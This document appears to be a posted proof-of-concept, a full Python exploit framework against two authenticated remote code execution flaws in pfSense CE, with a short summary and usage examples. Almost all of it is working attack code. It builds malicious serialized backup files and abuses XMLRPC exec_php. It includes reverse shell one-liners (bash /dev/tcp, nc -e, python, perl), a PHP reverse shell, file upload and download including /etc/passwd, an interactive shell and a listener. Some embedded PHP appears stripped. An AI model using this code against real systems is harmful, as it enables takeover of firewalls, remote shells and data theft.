============================================================================================================================================= | # Title : pfSense Ultimate Exploit Framework – Authenticated RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://www.pfsense.org/download/ | ============================================================================================================================================= [+] Summary : This Python script is an exploitation framework targeting two authenticated Remote Code Execution (RCE) vulnerabilities in pfSense: CVE‑2025‑69690 – Unsafe Deserialization in pfSense CE 2.7.2 CVE‑2025‑69691 – XMLRPC exec_php Abuse in pfSense CE 2.8.0 The framework provides a unified interface to: Execute system commands remotely Obtain reverse shells Upload and download files Launch an interactive shell for pfSense CE 2.7.2 → CVE‑2025‑69690 pfSense CE 2.8.0 → CVE‑2025‑69691 Automatically detect the best exploit path [+] POC : #!/usr/bin/env python3 import requests import base64 import sys import os import time import argparse import urllib3 import xml.etree.ElementTree as ET import random import string import socket import threading import subprocess from typing import Optional, Dict, Any, Tuple from datetime import datetime from colorama import init, Fore, Style, Back init(autoreset=True) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = f""" {Fore.RED} ╔{'═'*61} ║ ║{Fore.CYAN} PfSense Ultimate Exploit Framework v1.0{Fore.RED} ║ ║{Fore.CYAN} CVE-2025-69690 | CVE-2025-69691{Fore.RED} ║ ║{Fore.CYAN} Researcher: indoushka{Fore.RED} ║ ╚{'═'*60}╝ {Style.RESET_ALL}""" class Colors: """ANSI color codes for terminal output""" HEADER = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' END = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def print_success(msg): print(f"{Fore.GREEN}[] {msg}{Style.RESET_ALL}") def print_error(msg): print(f"{Fore.RED}[] {msg}{Style.RESET_ALL}") def print_info(msg): print(f"{Fore.BLUE}[] {msg}{Style.RESET_ALL}") def print_warning(msg): print(f"{Fore.YELLOW}[] {msg}{Style.RESET_ALL}") def print_banner(): """Display the tool banner""" print(BANNER) def generate_random_string(length=8): """Generate random string for filenames""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) class CVE202569690: """Unsafe Deserialization RCE - pfSense CE 2.7.2""" def __init__(self, target, username, password, ssl_verify=False): self.target = target.rstrip('/') self.username = username self.password = password self.ssl_verify = ssl_verify self.session = requests.Session() self.session.auth = (username, password) self.session.verify = ssl_verify def create_serialized_payload(self, command): """ Create malicious serialized object with command """ payload = f'O:23:"pfsense_module_installer":1:{{s:17:"*post_reboot_commands";a:1:{{i:0;s:{len(command)}:"{command}";}}}}' return payload def create_reverse_shell_payload(self, lhost, lport): """ Generate reverse shell command """ shells = [ f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'", f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1", f"nc -e /bin/sh {lhost} {lport}", f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}}'" ] return shells[0] def create_malicious_backup(self, command, output_file=None): """ Create malicious XML backup file """ if output_file is None: output_file = f"malicious_{generate_random_string()}.xml" serialized_payload = self.create_serialized_payload(command) b64_payload = base64.b64encode(serialized_payload.encode()).decode() xml_content = f''' 17.0 exploit_{generate_random_string()} {b64_payload} system_patches ''' with open(output_file, 'w') as f: f.write(xml_content) return output_file def upload_and_execute(self, backup_file): """ Upload malicious backup and trigger execution """ print_info(f"Uploading malicious backup: {backup_file}") try: login_url = f"{self.target}/index.php" response = self.session.get(login_url) csrf_token = None if '__csrf_magic' in response.text: import re csrf_match = re.search(r'name="__csrf_magic" value="([^"]+)"', response.text) if csrf_match: csrf_token = csrf_match.group(1) upload_url = f"{self.target}/diag_backup.php" with open(backup_file, 'rb') as f: files = { 'conffile': (backup_file, f, 'application/xml') } data = {} if csrf_token: data['__csrf_magic'] = csrf_token response = self.session.post(upload_url, files=files, data=data) if response.status_code == 200: print_success("Backup uploaded successfully") restore_data = { 'restore': 'Restore Configuration' } if csrf_token: restore_data['__csrf_magic'] = csrf_token response = self.session.post(upload_url, data=restore_data) if response.status_code == 200: print_success("Restore triggered - Command should execute on next reboot") print_warning("Note: Command executes after reboot via post_reboot_commands") return True else: print_error(f"Failed to trigger restore: {response.status_code}") return False else: print_error(f"Failed to upload backup: {response.status_code}") return False except Exception as e: print_error(f"Error during exploitation: {str(e)}") return False def exploit(self, command, is_reverse_shell=False, lhost=None, lport=None): """ Main exploit method """ print_info(f"Target: {self.target}") print_info(f"Username: {self.username}") if is_reverse_shell and lhost and lport: command = self.create_reverse_shell_payload(lhost, lport) print_info(f"Reverse shell to {lhost}:{lport}") else: print_info(f"Command to execute: {command}") backup_file = self.create_malicious_backup(command) print_success(f"Created malicious backup: {backup_file}") result = self.upload_and_execute(backup_file) try: os.remove(backup_file) except: pass return result class CVE202569691: """XMLRPC exec_php RCE - pfSense CE 2.8.0""" def __init__(self, target, username, password, ssl_verify=False): self.target = target.rstrip('/') self.username = username self.password = password self.ssl_verify = ssl_verify self.session = requests.Session() self.session.auth = (username, password) self.session.verify = ssl_verify self.xmlrpc_url = f"{self.target}/xmlrpc.php" def exec_php(self, php_code): """ Execute PHP code via XMLRPC """ xml_payload = f''' pfsense.exec_php {php_code} ''' try: response = self.session.post( self.xmlrpc_url, data=xml_payload, headers={'Content-Type': 'text/xml'}, timeout=10 ) if response.status_code == 200: return self._parse_response(response.text) else: return f"HTTP Error: {response.status_code}" except Exception as e: return f"Connection Error: {str(e)}" def _parse_response(self, xml_response): """ Parse XMLRPC response """ try: root = ET.fromstring(xml_response) for param in root.findall('.//param/value/string'): return param.text for param in root.findall('.//param/value'): if param.text: return param.text return xml_response except: return xml_response def exec_command(self, command): """ Execute system command via PHP """ php_code = f'''&1"); echo base64_encode($output); ?>''' result = self.exec_php(php_code) if result and not result.startswith(('HTTP Error', 'Connection Error')): try: decoded = base64.b64decode(result).decode('utf-8', errors='ignore') return decoded except: return result return result def upload_file(self, local_file, remote_path): """ Upload file to target system """ if not os.path.exists(local_file): return False, "Local file not found" with open(local_file, 'rb') as f: content = f.read() b64_content = base64.b64encode(content).decode() php_code = f'''''' result = self.exec_php(php_code) return True, result def download_file(self, remote_file, local_file=None): """ Download file from target system """ if local_file is None: local_file = os.path.basename(remote_file) php_code = f'''''' result = self.exec_php(php_code) if result == "FILE_NOT_FOUND": return False, "Remote file not found" try: content = base64.b64decode(result) with open(local_file, 'wb') as f: f.write(content) return True, f"Downloaded {len(content)} bytes to {local_file}" except: return False, "Failed to decode/download file" def create_reverse_shell(self, lhost, lport): """ Create PHP reverse shell """ php_shell = f''' $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh -i', $descriptorspec, $pipes); proc_close($process); ?>''' return self.exec_php(php_shell) def interactive_shell(self): """ Interactive command shell """ print_info("Interactive shell (type 'exit' to quit)") print_info("Commands are executed on the target system") while True: try: cmd = input(f"{Fore.GREEN}pfsense> {Style.RESET_ALL}") if cmd.lower() in ['exit', 'quit']: break if cmd.lower().startswith('upload '): parts = cmd.split() if len(parts) >= 3: local = parts[1] remote = parts[2] success, msg = self.upload_file(local, remote) if success: print_success(msg) else: print_error(msg) else: print_error("Usage: upload ") elif cmd.lower().startswith('download '): parts = cmd.split() if len(parts) >= 2: remote = parts[1] local = parts[2] if len(parts) >= 3 else None success, msg = self.download_file(remote, local) if success: print_success(msg) else: print_error(msg) else: print_error("Usage: download [local_file]") elif cmd.strip(): result = self.exec_command(cmd) print(result) except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print_error(f"Error: {str(e)}") def exploit(self, command=None, interactive=False, reverse_shell=None, upload=None, download=None): """ Main exploit method """ print_info(f"Target: {self.target}") print_info(f"XMLRPC URL: {self.xmlrpc_url}") test_result = self.exec_php('echo "Connection Successful";') if "Successful" in str(test_result): print_success("Connected to XMLRPC interface") else: print_error("Failed to connect to XMLRPC") print_error(f"Response: {test_result}") return False if reverse_shell: lhost, lport = reverse_shell print_info(f"Attempting reverse shell to {lhost}:{lport}") print_warning("Make sure your listener is running: nc -lvnp {lport}") self.create_reverse_shell(lhost, lport) elif upload: local, remote = upload print_info(f"Uploading {local} to {remote}") success, msg = self.upload_file(local, remote) if success: print_success(msg) else: print_error(msg) elif download: remote, local = download if len(download) == 2 else (download[0], None) print_info(f"Downloading {remote}") success, msg = self.download_file(remote, local) if success: print_success(msg) else: print_error(msg) elif interactive: self.interactive_shell() elif command: print_info(f"Executing command: {command}") result = self.exec_command(command) print(result) else: print_info("Gathering system information...") commands = [ "uname -a", "cat /etc/version", "id", "ifconfig", "netstat -an | grep LISTEN" ] for cmd in commands: print_info(f"$ {cmd}") result = self.exec_command(cmd) print(result) print("-" * 40) return True class ReverseShellListener: """Simple reverse shell listener""" def __init__(self, port, lhost='0.0.0.0'): self.port = port self.lhost = lhost def start(self): """Start listening for reverse shell""" print_info(f"Starting listener on {self.lhost}:{self.port}") try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.lhost, self.port)) server.listen(1) print_info(f"Waiting for connection...") client, addr = server.accept() print_success(f"Connection from {addr[0]}:{addr[1]}") while True: try: client.settimeout(1.0) data = client.recv(1024) if data: print(data.decode(), end='') cmd = input() if cmd.lower() == 'exit': client.send(b'exit\n') break client.send((cmd + '\n').encode()) except socket.timeout: continue except KeyboardInterrupt: print("\nClosing connection...") break except Exception as e: print_error(f"Error: {str(e)}") break client.close() server.close() except Exception as e: print_error(f"Listener error: {str(e)}") class PfSenseExploitFramework: """Unified exploit framework for pfSense CVEs""" def __init__(self): self.target = None self.username = None self.password = None self.ssl_verify = False self.cve_690 = None self.cve_691 = None def setup(self, target, username, password, ssl_verify=False): """Initialize the framework with target information""" self.target = target self.username = username self.password = password self.ssl_verify = ssl_verify # Initialize exploit classes self.cve_690 = CVE202569690(target, username, password, ssl_verify) self.cve_691 = CVE202569691(target, username, password, ssl_verify) print_success(f"Framework initialized for target: {target}") def detect_version(self): """Attempt to detect pfSense version""" print_info("Detecting pfSense version...") result = self.cve_691.exec_command("cat /etc/version") if result and not result.startswith(('HTTP Error', 'Connection Error')): version = result.strip() print_success(f"Detected version: {version}") return version return None def auto_exploit(self): """Automatically choose the best exploit based on detection""" print_info("Attempting automatic exploitation...") version = self.detect_version() if version: if "2.7.2" in version: print_info("Target appears to be pfSense 2.7.2 - Using CVE-2025-69690") return "690" elif "2.8.0" in version: print_info("Target appears to be pfSense 2.8.0 - Using CVE-2025-69691") return "691" print_warning("Version detection failed, trying CVE-2025-69691...") test = self.cve_691.exec_command("echo test") if test and "test" in test: print_success("CVE-2025-69691 works!") return "691" return None def run_exploit_690(self, command, is_reverse_shell=False, lhost=None, lport=None): """Run CVE-2025-69690 exploit""" return self.cve_690.exploit(command, is_reverse_shell, lhost, lport) def run_exploit_691(self, command=None, interactive=False, reverse_shell=None, upload=None, download=None): """Run CVE-2025-69691 exploit""" return self.cve_691.exploit(command, interactive, reverse_shell, upload, download) def main(): """Main entry point""" print_banner() parser = argparse.ArgumentParser( description='PfSense Ultimate Exploit Framework - CVE-2025-69690 & CVE-2025-69691', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Basic command execution (auto-detect exploit) python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -c "id" # Interactive shell using CVE-2025-69691 python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -i # Reverse shell using CVE-2025-69690 python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -r 192.168.1.100 4444 --cve 690 # Upload file using CVE-2025-69691 python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense --upload shell.php /tmp/shell.php # Download file using CVE-2025-69691 python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense --download /etc/passwd # Listen for reverse shell python3 pfsense_exploit.py --listen 4444 ''' ) parser.add_argument('target', nargs='?', help='Target URL (e.g., https://192.168.1.1)') parser.add_argument('-u', '--username', default='admin', help='Username (default: admin)') parser.add_argument('-p', '--password', default='pfsense', help='Password (default: pfsense)') parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL verification') parser.add_argument('--cve', choices=['690', '691', 'auto'], default='auto', help='Choose specific CVE to exploit (default: auto-detect)') parser.add_argument('-c', '--command', help='Single command to execute') parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell (CVE-2025-69691 only)') parser.add_argument('-r', '--reverse', nargs=2, metavar=('LHOST', 'LPORT'), help='Reverse shell (e.g., -r 192.168.1.100 4444)') parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file to target') parser.add_argument('--download', nargs='+', metavar=('REMOTE', '[LOCAL]'), help='Download file from target') parser.add_argument('--listen', type=int, metavar='PORT', help='Start reverse shell listener on specified port') parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output') args = parser.parse_args() if args.listen and not args.target: listener = ReverseShellListener(args.listen) listener.start() return if not args.target: parser.print_help() print_error("Target URL is required unless using --listen") sys.exit(1) framework = PfSenseExploitFramework() framework.setup( args.target, args.username, args.password, not args.no_ssl_verify ) cve_to_use = args.cve if cve_to_use == 'auto': cve_to_use = framework.auto_exploit() if not cve_to_use: print_error("Could not automatically determine exploit type") print_info("Try specifying with --cve 690 or --cve 691") sys.exit(1) print_info(f"Using CVE-2025-{cve_to_use}") if cve_to_use == '690': if args.interactive: print_warning("Interactive shell not available for CVE-2025-69690") print_info("Use --command for single commands or --reverse for reverse shell") if args.reverse: lhost, lport = args.reverse framework.run_exploit_690(None, is_reverse_shell=True, lhost=lhost, lport=lport) print_info(f"Check your listener on {lport}") elif args.command: framework.run_exploit_690(args.command) elif args.upload or args.download: print_warning("File operations not available for CVE-2025-69690") else: framework.run_exploit_690("id") elif cve_to_use == '691': if args.reverse: framework.run_exploit_691(reverse_shell=args.reverse) elif args.upload: framework.run_exploit_691(upload=args.upload) elif args.download: framework.run_exploit_691(download=args.download) elif args.interactive: framework.run_exploit_691(interactive=True) elif args.command: framework.run_exploit_691(command=args.command) else: framework.run_exploit_691() if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}") sys.exit(0) except Exception as e: print_error(f"Unexpected error: {str(e)}") if 'verbose' in locals() and args.verbose: import traceback traceback.print_exc() sys.exit(1) Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================